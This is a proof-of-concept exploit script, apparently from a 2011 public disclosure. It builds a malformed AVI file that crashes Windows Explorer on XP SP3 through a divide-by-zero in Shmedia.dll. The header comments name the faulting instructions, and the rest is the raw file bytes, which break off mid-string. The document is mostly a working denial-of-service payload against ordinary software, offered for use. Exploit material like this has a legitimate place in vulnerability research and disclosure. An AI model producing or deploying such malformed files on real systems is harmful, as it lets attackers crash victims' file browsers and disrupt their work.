# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2011.03.27
# published: 2011.03.29
# tested on: Windows XP SP3 Home Edition
# tested on: Windows XP SP3 Professional Edition

# App: Windows Explorer 6.0.2900.5512 (Shmedia.dll 6.0.2900.5512) 
# App Url: http://www.micro$oft.com
# Shmedia.dll 6.0.2900.5512 MD5: 1b8182c8fe6172727c3cf47415cbad8f
# Explorer 6.0.2900.5512 MD5: c791ed9eac5e76d9525e157b1d7a599a

# DoS is caused by unhandled exception in module Shmedia.dll loaded via Explorer.exe

# 5CF4AC4A    8B4C24 14       MOV ECX,DWORD PTR SS:[ESP+14]            ; ECX = 0
# 5CF4AC4E    8B4424 10       MOV EAX,DWORD PTR SS:[ESP+10]            ; EAX = 1
# 5CF4AC52    33D2            XOR EDX,EDX                              ; EDX = 0
# 5CF4AC54    F7F1            DIV ECX                                  ; Integer division by zero

filepath = "C:\\Windows Explorer 6.0.2900.5512 (Shmedia.dll 6.0.2900.5512) DoS PoC.avi"
f = open(filepath, "wb")
poc = '\x52\x49\x46\x46\x60\x17\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\x14\x04\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\xC8\x04\x00\x00\x00\x00\x00\x00\x10\x08\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x28\x01\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\xC8\x03\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x6D\x72\x6C\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x01\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x10\x00\x73\x74\x72\x66\x5C\x03\x00\x00\x28\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x01\x00\x08\x00\x01\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCD\x00\x00\x00\x00\x00\x00\x00\x6E\x62\x5F\x00\x70\x5B\x65\x00\x6D\x6B\x6B\x00\x6E\x6B\x6C\x00\x6E\x6C\x6C\x00\x70\x64\x61\x00\x70\x66\x64\x00\x78\x69\x67\x00\x7A\x6F\x67\x00\x7B\x67\x6D\x00\x70\x6A\x6D\x00\x70\x6C\x6E\x00\x79\x6B\x69\x00\x7B\x72\x6B\x00\x7B\x72\x6C\x00\x89\x7A\x6F\x00\x89\x7D\x75\x00\x84\x7D\x7D\x00\x89\x7F\x78\x00\x8C\x7C\x7A\x00\x8D\x7F\x7D\x00\xAE\x7B\x6E\x00\x89\x80\x7A\x00\x89\x82\x7D\x00\x8D\x80\x7C\x00\x92\x81\x7B\x00\x93\x84\x79\x00\x91\x82\x7F\x00\x94\x83\x7E\x00\x93\x86\x7E\x00\x95\x87\x7D\x00\x9B\x84\x7D\x00\x93\x88\x7F\x00\xB5\x82\x72\x00\xBB\x88\x75\x00\xE1\x8D\x46\x00\xF7\xA6\x43\x00\xC2\x8F\x79\x00\xC8\x95\x7C\x00\xEB\xAB\x7C\x00\xD2\x3E\xB3\x00\x85\x7B\x85\x00\x87\x76\x8D\x00\x91\x7B\x93\x00\x93\x7C\x93\x00\xA8\x45\xA9\x00\xE3\x0D\xD9\x00\xFE\x00\xFE\x00\xFF\x2D\xFF\x00\xCA\x5D\xCC\x00\xC3\x6A\xFF\x00\xCB\x73\xFF\x00\xD4\x71\xFF\x00\xDB\x77\xFF\x00\x78\x90\xB5\x00\x52\x84\xCE\x00\x51\x85\xD0\x00\x59\xB7\xFC\x00\x62\xBB\xFD\x00\x64\xBA\xFC\x00\x93\x89\x82\x00\x95\x8A\x82\x00\x94\x8B\x84\x00\x95\x8C\x85\x00\x95\x8E\x89\x00\x96\x91\x8D\x00\xB8\x8E\x8B\x00\xA2\x90\x86\x00\xA2\x91\x88\x00\xA6\x96\x88\x00\xA6\x9A\x8D\x00\xB6\x91\x8B\x00\xA6\x9D\x93\x00\xAF\xA3\x9A\x00\xAF\xA4\x9D\x00\xB0\xA2\x95\x00\xB0\xA3\x98\x00\xB0\xA4\x99\x00\xB0\xA8\x9F\x00\xAF\xA6\xA1\x00\xAF\xA8\xA3\x00\xAF\xA9\xA5\x00\xC6\x99\x83\x00\xCF\x9C\x80\x00\xC1\x96\x93\x00\xC3\x99\x95\x00\xC4\x99\x95\x00\xC6\x9C\x96\x00\xC8\x9E\x97\x00\xD5\xA2\x83\x00\xD6\xA3\x84\x00\xDC\xA9\x87\x00\xDE\xAB\x88\x00\xC3\xAA\x92\x00\xC6\xA8\x90\x00\xCC\xA1\x99\x00\xD2\xA4\x97\x00\xD3\xA6\x98\x00\xD6\xA8\x9A\x00\xD9\xAD\x9D\x00\xD9\xB1\x9B\x00\xD6\xB8\x9D\x00\xC8\xB7\xA9\x00\xC8\xB9\xAD\x00\xD3\xBE\xB9\x00\xEE\xBD\xA5\x00\xEF\xBF\xA8\x00\xF5\xB3\xAA\x00\xD6\xC3\xA7\x00\xD4\xC0\xAB\x00\xDD\xCF\xB5\x00\xDB\xC6\xBF\x00\xEA\xCA\xA5\x00\xF0\xC1\xAB\x00\xF0\xC3\xAF\x00\xF9\xCF\xAE\x00\xE7\xD2\xAD\x00\xFA\xD0\xAE\x00\xE3\xCB\xBD\x00\xF1\xC5\xB1\x00\xF2\xC8\xB6\x00\xF4\xC9\xBA\x00\xF3\xCC\xBA\x00\xF3\xCD\xBD\x00\xEF\xD5\xB4\x00\xEF\xD1\xBB\x00\xEE\xD6\xBA\x00\xF9\xD2\xB1\x00\xFA\xD4\xB4\x00\xF3\xDE\xB5\x00\xF4\xDF\xB6\x00\xFA\xD6\xB8\x00\xFA\xD8\xBB\x00\xFA\xD9\xBD\x00\xFF\xED\xB6\x00\xF0\xE1\xBD\x00\xFF\xEA\xB9\x00\xFF\xED\xBA\x00\xFF\xF2\xBF\x00\xFF\xF4\xBC\x00\x8D\xB1\xCC\x00\x92\xB7\xCF\x00\x93\xA5\xD6\x00\x92\xB7\xD0\x00\xBC\xC8\xD6\x00\xBD\xCE\xDD\x00\xDA\xC8\xC2\x00\xDB\xCB\xC7\x00\xC1\xCF\xD7\x00\xC9\xD5\xDB\x00\xCE\xD5\xDD\x00\xD3\xD2\xD4\x00\xD2\xDB\xDE\x00\xD9\xDD\xDC\x00\xE3\xCC\xC0\x00\xE4\xCD\xC0\x00\xE4\xCF\xC9\x00\xE5\xCF\xCC\x00\xE5\xD1\xCC\x00\xFA\xDB\xC2\x00\xFA\xDC\xC2\x00\xFB\xDE\xC4\x00\xFF\xD5\xCC\x00\xE6\xD3\xD0\x00\xFA\xE0\xC8\x00\xFC\xE1\xCB\x00\xFB\xE2\xCD\x00\xFC\xE2\xCC\x00\xFC\xE4\xCF\x00\xFF\xF8\xC6\x00\xFF\xF4\xCC\x00\xFF\xFE\xCA\x00\xFF\xFC\xCF\x00\xF1\xE7\xD4\x00\xFC\xE4\xD0\x00\xFC\xE6\xD4\x00\xFC\xE8\xD7\x00\xFC\xE8\xD8\x00\xFC\xEB\xDD\x00\xFD\xEC\xDD\x00\xFF\xFF\xD3\x00\xFF\xFF\xDD\x00\xC9\xD8\xE1\x00\xC9\xDB\xE4\x00\xD2\xDD\xE1\x00\xD2\xDF\xE6\x00\xD8\xE0\xE0\x00\xD3\xE1\xE9\x00\xFD\xEE\xE0\x00\xFD\xF0\xE5\x00\xFB\xF4\xE7\x00\xFF\xFF\xE3\x00\xFF\xF9\xE4\x00\xF8\xF2\xEA\x00\xFD\xF2\xE9\x00\xFD\xF3\xEC\x00\xFD\xF4\xED\x00\xFF\xFF\xE9\x00\xFE\xF6\xF0\x00\xFE\xF8\xF1\x00\xFF\xFF\xF0\x00\xFE\xFA\xF5\x00\xFF\xFB\xF8\x00\xFF\xFE\xFA\x00\xFF\xFF\xFE\x00\x73\x74\x72\x6E\x17\x00\x00\x00\x61\x76\x69\x37\x32\x2E\x74\x6D\x70\x2E\x61\x76\x69\x20\x56\x69\x64\x65\x6F\x20\x23\x31\x00\x00\x4A\x55\x4E\x4B\xC4\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\xE4\x06\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x62\x28\x01\x00\x00\x10\x2F\x00\x00\x00\x10\x2F\x15\x63\x62\x61\x60\x5F\x58\x57\x56\x54\x47\x42\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x21\xA5\xA4\xA1\xA0\x85\x84\x46\x0C\x29\x66\x69\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x22\xA8\xA7\xA4\xA1\x9F\x46\x0C\x2B\x37\x8D\x6A\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x25\xAF\x75\x75\x75\x4B\x07\x2C\x38\x3A\x99\x71\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x26\x40\x17\x3E\x50\x11\x2A\x37\x39\xB6\x84\x72\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x02\x19\x6D\x6C\x5D\x1F\x36\x3B\x94\x75\x85\x77\x2F\x2F\x2F\x00\x00\x00\x10\x0A\x1C\xC1\xC8\xB5\xAB\x70\x68\xB9\xA4\xA1\xA0\x78\x2F\x2F\x2F\x00\x00\x00\x10\x01\x6E\xCC\xCB\xBF\xA9\x86\x7D\x75\x75\x75\xA1\x78\x2F\x2F\x2F\x00\x00\x00\x10\x09\x87\xC5\xC5\xB5\x8A\x88\x7C\xAF\xAE\xA8\xA5\x7A\x2F\x2F\x2F\x00\x00\x00\x10\x14\x74\xB4\xAC\xA9\x88\xAA\x7E\x75\x75\x75\xAE\x7B\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x5E\x8B\x86\x89\xC0\xBE\x9B\xB3\xB1\xB1\xAF\x79\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x52\x65\x82\x81\xAD\xA3\xBD\xBC\xA2\xA2\x6B\x28\x2F\x2F\x2F\x00\x00\x00\x0C\x2F\x5B\xCB\xC9\xC9\xC6\xC4\xC2\xBD\x24\x24\x23\x04\x2F\x00\x00\x00\x0C\x2F\x5B\xCC\xCB\xCA\xC9\xC7\xC4\xC3\x5B\x27\x2E\x04\x2F\x00\x00\x01\x2F\x06\x5B\x00\x04\x5C\x5A\x5B\x30\x05\x2F\x00\x00\x00\x01\x30\x30\x64\x63\xB0\x00\x00\x00\x00\x02\x08\x02\x00\x04\x83\x80\x7F\x75\x00\x00\x00\x02\x06\x00\x00\x06\xA0\x85\x85\x83\x80\x7F\x00\x00\x00\x02\x06\x00\x02\x75\x00\x04\x45\x0C\x29\x67\x00\x00\x00\x0C\x2F\x26\xB1\xAF\xAE\xA7\xA4\x48\x0C\x2B\x37\x8F\x00\x00\x00\x0C\x2F\x53\xB2\x75\x75\x75\x4B\x07\x2C\x38\x3A\xBA\x00\x00\x00\x0B\x2F\x59\x41\x17\x40\x51\x11\x2A\x37\x39\xB7\x00\x00\x00\x00\x0A\x2F\x02\x19\x6D\x6C\x5D\x1F\x36\x3B\x94\x00\x00\x00\x09\x0A\x1C\xC1\xC8\xB5\xAB\x70\x68\xBB\x00\x00\x00\x00\x08\x01\x6E\xCC\xCB\xBF\xA9\x86\x7D\x00\x00\x00\x08\x09\x87\xC5\xC5\xB5\x8A\x88\x7C\x00\x00\x00\x08\x14\x74\xB4\xAC\xA9\x88\xAA\x7E\x00\x00\x00\x08\x2F\x5E\x8B\x86\x89\xC0\xBE\x9B\x00\x00\x00\x07\x2F\x52\x65\x82\x81\x